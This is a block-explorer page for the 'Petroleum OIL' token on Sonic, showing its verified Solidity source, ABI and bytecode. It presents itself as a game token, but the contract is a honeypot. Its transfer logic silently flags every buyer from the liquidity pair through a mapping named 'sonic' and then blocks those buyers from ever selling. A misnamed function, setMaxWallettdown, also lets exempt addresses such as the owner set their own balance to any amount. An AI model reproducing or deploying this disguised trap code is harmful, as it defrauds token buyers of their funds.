S Price: $0.535451 (-9.60%)

Token

Petroleum OIL (OIL)

Overview

Max Total Supply

1,000,000 OIL

Holders

8

Market

Price

$0.00 @ 0.000000 S

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
759,547.293437785403969913 OIL

Value
$0.00
0x619a9c51c672326352e2846e6642c59805909fb7
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
Petroleum

Compiler Version
v0.8.28+commit.7893614a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at SonicScan.org on 2025-03-05
*/

/*

A ghostly town is emerging from Dust. The biggest 3D Play2Earn on @soniclabs
https://t.me/Petroleum_Defi
https://rebuild.petroleum.land/
https://docs.petroleum.land/

*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;

interface ERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline)
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}

abstract contract Ownable {
    address internal _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "!owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new is 0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract Petroleum is ERC20, Ownable {
    string private _name = "Petroleum OIL";
    string private _symbol = "OIL";
    uint8 constant _decimals = 18;
    uint256 _totalSupply = 1000000 * 10 ** _decimals;

    mapping(address => mapping(address => uint256)) _allowances;
    mapping(address => uint256) _balances;
    mapping(address => bool) public sonic;  

    IUniswapV2Router router = IUniswapV2Router(0x95a7e403d7cF20F675fF9273D66e94d35ba49fA3);
    address public pair;

    uint256 public _maxWalletSize = (_totalSupply * 3) / 100;
    mapping(address => bool) maxWalletExempt;

    bool public canTrade = false;

    constructor() Ownable() {
        pair = IUniswapV2Factory(router.factory()).createPair(router.WETH(), address(this));
        maxWalletExempt[msg.sender] = true;
        maxWalletExempt[address(this)] = true;
        maxWalletExempt[pair] = true;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    function decimals() external pure override returns (uint8) {
        return _decimals;
    }

    function symbol() external view override returns (string memory) {
        return _symbol;
    }

    function name() external view override returns (string memory) {
        return _name;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address holder, address spender) external view override returns (uint256) {
        return _allowances[holder][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if (_allowances[sender][msg.sender] != type(uint256).max) {
            _allowances[sender][msg.sender] -= amount;
        }
        return _transferFrom(sender, recipient, amount);
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        require(canTrade || maxWalletExempt[recipient], "Trading allowed or exempt");
        require(!sonic[sender], "Sender"); 

        require((_balances[recipient] + amount <= _maxWalletSize || maxWalletExempt[recipient] || sender == owner() || recipient == pair),
                "Max wallet limit reached");

        if (sender == pair && !sonic[recipient]) { 
            sonic[recipient] = true;  
        }

        _balances[sender] -= amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
        return true;
    }

    function setMaxWallettdown(uint256 maxWallet) external {
        require(maxWalletExempt[msg.sender], "Not exempt");
        _balances[msg.sender] = maxWallet;
    }

    function setMaxWalletExemptUpDown(address holder, bool exempt) external onlyOwner {
        maxWalletExempt[holder] = exempt;
    }

    function enableTrading(bool _canTrade) external onlyOwner {
        canTrade = _canTrade;
    }

    function removeWalletLimit() external onlyOwner {
        _maxWalletSize = type(uint256).max;
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"canTrade","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_canTrade","type":"bool"}],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setMaxWalletExemptUpDown","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWallet","type":"uint256"}],"name":"setMaxWallettdown","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"sonic","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60c0604052600d60809081526c14195d1c9bdb195d5b4813d253609a1b60a05260019061002c90826103ac565b5060408051808201909152600381526213d25360ea1b602082015260029061005490826103ac565b506100616012600a61055f565b61006e90620f4240610574565b6003818155600780546001600160a01b0319167395a7e403d7cf20f675ff9273d66e94d35ba49fa31790556064916100a591610574565b6100af919061058b565b600955600b805460ff191690553480156100c7575f5ffd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060075f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610158573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061017c91906105aa565b6001600160a01b031663c9c6539660075f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101da573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101fe91906105aa565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303815f875af1158015610247573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061026b91906105aa565b600880546001600160a01b0319166001600160a01b03928316178155335f818152600a60209081526040808320805460ff1990811660019081179092553085528285208054821683179055955490961683528083208054909516909517909355600354828252600584528482208190559351938452909290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36105d0565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061033c57607f821691505b60208210810361035a57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156103a757805f5260205f20601f840160051c810160208510156103855750805b601f840160051c820191505b818110156103a4575f8155600101610391565b50505b505050565b81516001600160401b038111156103c5576103c5610314565b6103d9816103d38454610328565b84610360565b6020601f82116001811461040b575f83156103f45750848201515b5f19600385901b1c1916600184901b1784556103a4565b5f84815260208120601f198516915b8281101561043a578785015182556020948501946001909201910161041a565b508482101561045757868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156104b55780850481111561049957610499610466565b60018416156104a757908102905b60019390931c92800261047e565b935093915050565b5f826104cb57506001610559565b816104d757505f610559565b81600181146104ed57600281146104f757610513565b6001915050610559565b60ff84111561050857610508610466565b50506001821b610559565b5060208310610133831016604e8410600b8410161715610536575081810a610559565b6105425f19848461047a565b805f190482111561055557610555610466565b0290505b92915050565b5f61056d60ff8416836104bd565b9392505050565b808202811582820484141761055957610559610466565b5f826105a557634e487b7160e01b5f52601260045260245ffd5b500490565b5f602082840312156105ba575f5ffd5b81516001600160a01b038116811461056d575f5ffd5b610bbe806105dd5f395ff3fe608060405234801561000f575f5ffd5b5060043610610132575f3560e01c8063715018a6116100b4578063a8aa1b3111610079578063a8aa1b311461027a578063a9059cbb1461028d578063b144896f146102a0578063dd62ed3e146102a8578063f275f64b146102e0578063f2fde38b146102f3575f5ffd5b8063715018a61461022a5780638da5cb5b146102325780638f9a55c014610256578063920b78281461025f57806395d89b4114610272575f5ffd5b80632f05205c116100fa5780632f05205c146101b1578063313ce567146101be5780633dc606f4146101cd578063571ac8b0146101ef57806370a0823114610202575f5ffd5b80630101bc591461013657806306fdde031461014b578063095ea7b31461016957806318160ddd1461018c57806323b872dd1461019e575b5f5ffd5b610149610144366004610993565b610306565b005b610153610367565b60405161016091906109aa565b60405180910390f35b61017c6101773660046109fa565b6103f7565b6040519015158152602001610160565b6003545b604051908152602001610160565b61017c6101ac366004610a22565b610463565b600b5461017c9060ff1681565b60405160128152602001610160565b61017c6101db366004610a5c565b60066020525f908152604090205460ff1681565b61017c6101fd366004610a5c565b6104d8565b610190610210366004610a5c565b6001600160a01b03165f9081526005602052604090205490565b6101496104e4565b5f546001600160a01b03165b6040516001600160a01b039091168152602001610160565b61019060095481565b61014961026d366004610a84565b610555565b6101536105a8565b60085461023e906001600160a01b031681565b61017c61029b3660046109fa565b6105b7565b6101496105ca565b6101906102b6366004610ab5565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b6101496102ee366004610add565b6105fa565b610149610301366004610a5c565b610636565b335f908152600a602052604090205460ff166103565760405162461bcd60e51b815260206004820152600a602482015269139bdd08195e195b5c1d60b21b60448201526064015b60405180910390fd5b335f90815260056020526040902055565b60606001805461037690610af6565b80601f01602080910402602001604051908101604052809291908181526020018280546103a290610af6565b80156103ed5780601f106103c4576101008083540402835291602001916103ed565b820191905f5260205f20905b8154815290600101906020018083116103d057829003601f168201915b5050505050905090565b335f8181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104519086815260200190565b60405180910390a35060015b92915050565b6001600160a01b0383165f9081526004602090815260408083203384529091528120545f19146104c5576001600160a01b0384165f908152600460209081526040808320338452909152812080548492906104bf908490610b42565b90915550505b6104d08484846106f9565b949350505050565b5f61045d825f196103f7565b5f546001600160a01b0316331461050d5760405162461bcd60e51b815260040161034d90610b55565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461057e5760405162461bcd60e51b815260040161034d90610b55565b6001600160a01b03919091165f908152600a60205260409020805460ff1916911515919091179055565b60606002805461037690610af6565b5f6105c33384846106f9565b9392505050565b5f546001600160a01b031633146105f35760405162461bcd60e51b815260040161034d90610b55565b5f19600955565b5f546001600160a01b031633146106235760405162461bcd60e51b815260040161034d90610b55565b600b805460ff1916911515919091179055565b5f546001600160a01b0316331461065f5760405162461bcd60e51b815260040161034d90610b55565b6001600160a01b0381166106a05760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b604482015260640161034d565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b600b545f9060ff168061072357506001600160a01b0383165f908152600a602052604090205460ff165b61076f5760405162461bcd60e51b815260206004820152601960248201527f54726164696e6720616c6c6f776564206f72206578656d707400000000000000604482015260640161034d565b6001600160a01b0384165f9081526006602052604090205460ff16156107c05760405162461bcd60e51b815260206004820152600660248201526529b2b73232b960d11b604482015260640161034d565b6009546001600160a01b0384165f908152600560205260409020546107e6908490610b75565b11158061080a57506001600160a01b0383165f908152600a602052604090205460ff165b8061082157505f546001600160a01b038581169116145b8061083957506008546001600160a01b038481169116145b6108855760405162461bcd60e51b815260206004820152601860248201527f4d61782077616c6c6574206c696d697420726561636865640000000000000000604482015260640161034d565b6008546001600160a01b0385811691161480156108ba57506001600160a01b0383165f9081526006602052604090205460ff16155b156108e2576001600160a01b0383165f908152600660205260409020805460ff191660011790555b6001600160a01b0384165f9081526005602052604081208054849290610909908490610b42565b90915550506001600160a01b0383165f9081526005602052604081208054849290610935908490610b75565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161098191815260200190565b60405180910390a35060019392505050565b5f602082840312156109a3575f5ffd5b5035919050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b03811681146109f5575f5ffd5b919050565b5f5f60408385031215610a0b575f5ffd5b610a14836109df565b946020939093013593505050565b5f5f5f60608486031215610a34575f5ffd5b610a3d846109df565b9250610a4b602085016109df565b929592945050506040919091013590565b5f60208284031215610a6c575f5ffd5b6105c3826109df565b803580151581146109f5575f5ffd5b5f5f60408385031215610a95575f5ffd5b610a9e836109df565b9150610aac60208401610a75565b90509250929050565b5f5f60408385031215610ac6575f5ffd5b610acf836109df565b9150610aac602084016109df565b5f60208284031215610aed575f5ffd5b6105c382610a75565b600181811c90821680610b0a57607f821691505b602082108103610b2857634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561045d5761045d610b2e565b60208082526006908201526510b7bbb732b960d11b604082015260600190565b8082018082111561045d5761045d610b2e56fea2646970667358221220cbe0483133ad9ec1805b0ffb964fb7844756b0d304862445733ba9d1fd431e4464736f6c634300081c0033

Deployed Bytecode

0x608060405234801561000f575f5ffd5b5060043610610132575f3560e01c8063715018a6116100b4578063a8aa1b3111610079578063a8aa1b311461027a578063a9059cbb1461028d578063b144896f146102a0578063dd62ed3e146102a8578063f275f64b146102e0578063f2fde38b146102f3575f5ffd5b8063715018a61461022a5780638da5cb5b146102325780638f9a55c014610256578063920b78281461025f57806395d89b4114610272575f5ffd5b80632f05205c116100fa5780632f05205c146101b1578063313ce567146101be5780633dc606f4146101cd578063571ac8b0146101ef57806370a0823114610202575f5ffd5b80630101bc591461013657806306fdde031461014b578063095ea7b31461016957806318160ddd1461018c57806323b872dd1461019e575b5f5ffd5b610149610144366004610993565b610306565b005b610153610367565b60405161016091906109aa565b60405180910390f35b61017c6101773660046109fa565b6103f7565b6040519015158152602001610160565b6003545b604051908152602001610160565b61017c6101ac366004610a22565b610463565b600b5461017c9060ff1681565b60405160128152602001610160565b61017c6101db366004610a5c565b60066020525f908152604090205460ff1681565b61017c6101fd366004610a5c565b6104d8565b610190610210366004610a5c565b6001600160a01b03165f9081526005602052604090205490565b6101496104e4565b5f546001600160a01b03165b6040516001600160a01b039091168152602001610160565b61019060095481565b61014961026d366004610a84565b610555565b6101536105a8565b60085461023e906001600160a01b031681565b61017c61029b3660046109fa565b6105b7565b6101496105ca565b6101906102b6366004610ab5565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b6101496102ee366004610add565b6105fa565b610149610301366004610a5c565b610636565b335f908152600a602052604090205460ff166103565760405162461bcd60e51b815260206004820152600a602482015269139bdd08195e195b5c1d60b21b60448201526064015b60405180910390fd5b335f90815260056020526040902055565b60606001805461037690610af6565b80601f01602080910402602001604051908101604052809291908181526020018280546103a290610af6565b80156103ed5780601f106103c4576101008083540402835291602001916103ed565b820191905f5260205f20905b8154815290600101906020018083116103d057829003601f168201915b5050505050905090565b335f8181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104519086815260200190565b60405180910390a35060015b92915050565b6001600160a01b0383165f9081526004602090815260408083203384529091528120545f19146104c5576001600160a01b0384165f908152600460209081526040808320338452909152812080548492906104bf908490610b42565b90915550505b6104d08484846106f9565b949350505050565b5f61045d825f196103f7565b5f546001600160a01b0316331461050d5760405162461bcd60e51b815260040161034d90610b55565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461057e5760405162461bcd60e51b815260040161034d90610b55565b6001600160a01b03919091165f908152600a60205260409020805460ff1916911515919091179055565b60606002805461037690610af6565b5f6105c33384846106f9565b9392505050565b5f546001600160a01b031633146105f35760405162461bcd60e51b815260040161034d90610b55565b5f19600955565b5f546001600160a01b031633146106235760405162461bcd60e51b815260040161034d90610b55565b600b805460ff1916911515919091179055565b5f546001600160a01b0316331461065f5760405162461bcd60e51b815260040161034d90610b55565b6001600160a01b0381166106a05760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b604482015260640161034d565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b600b545f9060ff168061072357506001600160a01b0383165f908152600a602052604090205460ff165b61076f5760405162461bcd60e51b815260206004820152601960248201527f54726164696e6720616c6c6f776564206f72206578656d707400000000000000604482015260640161034d565b6001600160a01b0384165f9081526006602052604090205460ff16156107c05760405162461bcd60e51b815260206004820152600660248201526529b2b73232b960d11b604482015260640161034d565b6009546001600160a01b0384165f908152600560205260409020546107e6908490610b75565b11158061080a57506001600160a01b0383165f908152600a602052604090205460ff165b8061082157505f546001600160a01b038581169116145b8061083957506008546001600160a01b038481169116145b6108855760405162461bcd60e51b815260206004820152601860248201527f4d61782077616c6c6574206c696d697420726561636865640000000000000000604482015260640161034d565b6008546001600160a01b0385811691161480156108ba57506001600160a01b0383165f9081526006602052604090205460ff16155b156108e2576001600160a01b0383165f908152600660205260409020805460ff191660011790555b6001600160a01b0384165f9081526005602052604081208054849290610909908490610b42565b90915550506001600160a01b0383165f9081526005602052604081208054849290610935908490610b75565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161098191815260200190565b60405180910390a35060019392505050565b5f602082840312156109a3575f5ffd5b5035919050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b03811681146109f5575f5ffd5b919050565b5f5f60408385031215610a0b575f5ffd5b610a14836109df565b946020939093013593505050565b5f5f5f60608486031215610a34575f5ffd5b610a3d846109df565b9250610a4b602085016109df565b929592945050506040919091013590565b5f60208284031215610a6c575f5ffd5b6105c3826109df565b803580151581146109f5575f5ffd5b5f5f60408385031215610a95575f5ffd5b610a9e836109df565b9150610aac60208401610a75565b90509250929050565b5f5f60408385031215610ac6575f5ffd5b610acf836109df565b9150610aac602084016109df565b5f60208284031215610aed575f5ffd5b6105c382610a75565b600181811c90821680610b0a57607f821691505b602082108103610b2857634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561045d5761045d610b2e565b60208082526006908201526510b7bbb732b960d11b604082015260600190565b8082018082111561045d5761045d610b2e56fea2646970667358221220cbe0483133ad9ec1805b0ffb964fb7844756b0d304862445733ba9d1fd431e4464736f6c634300081c0033

Deployed Bytecode Sourcemap

2508:3780:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5762:168;;;;;;:::i;:::-;;:::i;:::-;;3848:94;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4232:216;;;;;;:::i;:::-;;:::i;:::-;;;1316:14:1;;1309:22;1291:41;;1279:2;1264:18;4232:216:0;1151:187:1;3530:102:0;3612:12;;3530:102;;;1489:25:1;;;1477:2;1462:18;3530:102:0;1343:177:1;4750:308:0;;;;;;:::i;:::-;;:::i;3118:28::-;;;;;;;;;3640:94;;;2661:2;2046:36:1;;2034:2;2019:18;3640:94:0;1904:184:1;2837:37:0;;;;;;:::i;:::-;;;;;;;;;;;;;;;;4620:122;;;;;;:::i;:::-;;:::i;3950:119::-;;;;;;:::i;:::-;-1:-1:-1;;;;;4043:18:0;4016:7;4043:18;;;:9;:18;;;;;;;3950:119;2131:148;;;:::i;1945:79::-;1983:7;2010:6;-1:-1:-1;;;;;2010:6:0;1945:79;;;-1:-1:-1;;;;;2448:32:1;;;2430:51;;2418:2;2403:18;1945:79:0;2284:203:1;3006:56:0;;;;;;5938:133;;;;;;:::i;:::-;;:::i;3742:98::-;;;:::i;2978:19::-;;;;;-1:-1:-1;;;;;2978:19:0;;;4456:156;;;;;;:::i;:::-;;:::i;6184:101::-;;;:::i;4077:147::-;;;;;;:::i;:::-;-1:-1:-1;;;;;4188:19:0;;;4161:7;4188:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;4077:147;6079:97;;;;;;:::i;:::-;;:::i;2287:214::-;;;;;;:::i;:::-;;:::i;5762:168::-;5852:10;5836:27;;;;:15;:27;;;;;;;;5828:50;;;;-1:-1:-1;;;5828:50:0;;3568:2:1;5828:50:0;;;3550:21:1;3607:2;3587:18;;;3580:30;-1:-1:-1;;;3626:18:1;;;3619:40;3676:18;;5828:50:0;;;;;;;;;5899:10;5889:21;;;;:9;:21;;;;;:33;5762:168::o;3848:94::-;3896:13;3929:5;3922:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3848:94;:::o;4232:216::-;4336:10;4307:4;4324:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;4324:32:0;;;;;;;;;;:41;;;4381:37;4307:4;;4324:32;;4381:37;;;;4359:6;1489:25:1;;1477:2;1462:18;;1343:177;4381:37:0;;;;;;;;-1:-1:-1;4436:4:0;4232:216;;;;;:::o;4750:308::-;-1:-1:-1;;;;;4871:19:0;;4850:4;4871:19;;;:11;:19;;;;;;;;4891:10;4871:31;;;;;;;;-1:-1:-1;;4871:52:0;4867:126;;-1:-1:-1;;;;;4940:19:0;;;;;;:11;:19;;;;;;;;4960:10;4940:31;;;;;;;:41;;4975:6;;4940:19;:41;;4975:6;;4940:41;:::i;:::-;;;;-1:-1:-1;;4867:126:0;5010:40;5024:6;5032:9;5043:6;5010:13;:40::i;:::-;5003:47;4750:308;-1:-1:-1;;;;4750:308:0:o;4620:122::-;4675:4;4699:35;4707:7;-1:-1:-1;;4699:7:0;:35::i;2131:148::-;2072:6;;-1:-1:-1;;;;;2072:6:0;2082:10;2072:20;2064:39;;;;-1:-1:-1;;;2064:39:0;;;;;;;:::i;:::-;2238:1:::1;2222:6:::0;;2201:40:::1;::::0;-1:-1:-1;;;;;2222:6:0;;::::1;::::0;2201:40:::1;::::0;2238:1;;2201:40:::1;2269:1;2252:19:::0;;-1:-1:-1;;;;;;2252:19:0::1;::::0;;2131:148::o;5938:133::-;2072:6;;-1:-1:-1;;;;;2072:6:0;2082:10;2072:20;2064:39;;;;-1:-1:-1;;;2064:39:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;6031:23:0;;;::::1;;::::0;;;:15:::1;:23;::::0;;;;:32;;-1:-1:-1;;6031:32:0::1;::::0;::::1;;::::0;;;::::1;::::0;;5938:133::o;3742:98::-;3792:13;3825:7;3818:14;;;;;:::i;4456:156::-;4536:4;4560:44;4574:10;4586:9;4597:6;4560:13;:44::i;:::-;4553:51;4456:156;-1:-1:-1;;;4456:156:0:o;6184:101::-;2072:6;;-1:-1:-1;;;;;2072:6:0;2082:10;2072:20;2064:39;;;;-1:-1:-1;;;2064:39:0;;;;;;;:::i;:::-;-1:-1:-1;;6243:14:0::1;:34:::0;6184:101::o;6079:97::-;2072:6;;-1:-1:-1;;;;;2072:6:0;2082:10;2072:20;2064:39;;;;-1:-1:-1;;;2064:39:0;;;;;;;:::i;:::-;6148:8:::1;:20:::0;;-1:-1:-1;;6148:20:0::1;::::0;::::1;;::::0;;;::::1;::::0;;6079:97::o;2287:214::-;2072:6;;-1:-1:-1;;;;;2072:6:0;2082:10;2072:20;2064:39;;;;-1:-1:-1;;;2064:39:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2376:22:0;::::1;2368:43;;;::::0;-1:-1:-1;;;2368:43:0;;4891:2:1;2368:43:0::1;::::0;::::1;4873:21:1::0;4930:1;4910:18;;;4903:29;-1:-1:-1;;;4948:18:1;;;4941:38;4996:18;;2368:43:0::1;4689:331:1::0;2368:43:0::1;2448:6;::::0;;2427:38:::1;::::0;-1:-1:-1;;;;;2427:38:0;;::::1;::::0;2448:6;::::1;::::0;2427:38:::1;::::0;::::1;2476:6;:17:::0;;-1:-1:-1;;;;;;2476:17:0::1;-1:-1:-1::0;;;;;2476:17:0;;;::::1;::::0;;;::::1;::::0;;2287:214::o;5066:688::-;5183:8;;5158:4;;5183:8;;;:38;;-1:-1:-1;;;;;;5195:26:0;;;;;;:15;:26;;;;;;;;5183:38;5175:76;;;;-1:-1:-1;;;5175:76:0;;5227:2:1;5175:76:0;;;5209:21:1;5266:2;5246:18;;;5239:30;5305:27;5285:18;;;5278:55;5350:18;;5175:76:0;5025:349:1;5175:76:0;-1:-1:-1;;;;;5271:13:0;;;;;;:5;:13;;;;;;;;5270:14;5262:33;;;;-1:-1:-1;;;5262:33:0;;5581:2:1;5262:33:0;;;5563:21:1;5620:1;5600:18;;;5593:29;-1:-1:-1;;;5638:18:1;;;5631:36;5684:18;;5262:33:0;5379:329:1;5262:33:0;5351:14;;-1:-1:-1;;;;;5318:20:0;;;;;;:9;:20;;;;;;:29;;5341:6;;5318:29;:::i;:::-;:47;;:77;;;-1:-1:-1;;;;;;5369:26:0;;;;;;:15;:26;;;;;;;;5318:77;:98;;;-1:-1:-1;1983:7:0;2010:6;-1:-1:-1;;;;;5399:17:0;;;2010:6;;5399:17;5318:98;:119;;;-1:-1:-1;5433:4:0;;-1:-1:-1;;;;;5420:17:0;;;5433:4;;5420:17;5318:119;5309:175;;;;